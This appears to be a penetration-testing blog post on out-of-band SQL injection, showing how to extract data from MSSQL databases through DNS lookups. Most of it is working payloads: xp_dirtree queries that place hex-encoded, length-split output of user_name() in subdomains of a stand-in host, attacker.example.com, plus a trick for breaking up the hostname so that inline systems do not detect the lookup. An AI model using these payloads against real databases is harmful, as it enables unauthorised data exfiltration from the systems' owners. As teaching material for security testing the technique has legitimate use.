This is an advanced SQL Injection (SQLi) post, if you’re new to SQLi maybe try this one first: Basics and Defence
Recently I had a fairly slow Time-Based SQL injection vulnerability, meaning that I could only pull a single character at a time with SQLmap and each character took around 10 seconds to retrieve. An alternative approach in this situation is to use out-of-band retrieval. This is a concept that can be used when exploiting lots of vulnerabilities such as SQL Injection, Command Injection, Cross-site Scripting and XML External Entity Injection.
The idea is fairly simple, instead of capturing the data you would like to retrieve and extracting it through Boolean-logic you can request the system to transmit the data over a protocol such as HTTP, SMB or DNS.
With SQL injection, to perform this kind of exfiltration we can use functions such as:
MSSQL: master..xp_dirtree MySQL: LOAD_FILE()
Supplying a hostname to these functions will cause a DNS lookup to occur, if you control the authoritative name server for a domain then you could see this DNS request in the logs of your server. Now at this to the fact that you can dynamically generate the hostname that is to be used, meaning you can smuggle data out in the subdomain of a domain that you control. A point to note though, is that hostnames have restrictions on the types of characters and the lengths of queries, so I recommend combining functions like SUBSTR() and HEX() to ensure that the length does not exceed the maximum allowed in subdomains and hex will encode any characters that cannot be used in a hostname.
So an example of the most simple payload would be:
EXEC master..xp_dirtree '\\attacker.example.com\foo' --
This would cause a DNS lookup to attacker.example.com if the system is vulnerable.
Note:some inline systems may perform a DNS lookup when they spot a hostname like this, so to prevent false positives I recommend “breaking” the hostname like: ‘\\attacker.exa’+’mple.com\’. So that any detected name lookups must be through SQL-like processing
We can then build up a simple query to exfiltrate some data within a sub-domain of the attacker controlled domain name, such as:
declare @q varchar(1024); set @q = 'master..xp_dirtree '\\' + user_name() + '.attacker.example.com\foo'; exec(@q)
Also bear in mind that “labels” can be a maximum of 63 characters in length, therefore if your output may exceed this length you can combine it with SUBSTRING like this:
declare @q varchar(1024); set @q = 'master..xp_dirtree '\\' + SUBSTRING(user_name(),1,60) + '.attacker.example.com\foo'; exec(@q) declare @q varchar(1024); set @q = 'master..xp_dirtree '\\' + SUBSTRING(user_name(),61,60) + '.attacker.example.com\foo'; exec(@q)
If your output contains characters that are not permitted in a hostname, you can convert it to HEX, using a command such as:
CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), user_name()), 1)
Putting that all together we get something like:
declare @q varchar(1024); set @q = 'master..xp_dirtree '\\' + SUBSTRING(CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), user_name()), 1),1,60) + '.attacker.example.com\foo'; exec(@q)
The above will make a DNS request to something like:
At which point you can simply check the logs of your DNS server and check what the exfiltrated information was!
Certainly a lot faster than pulling single characters through time-based inference!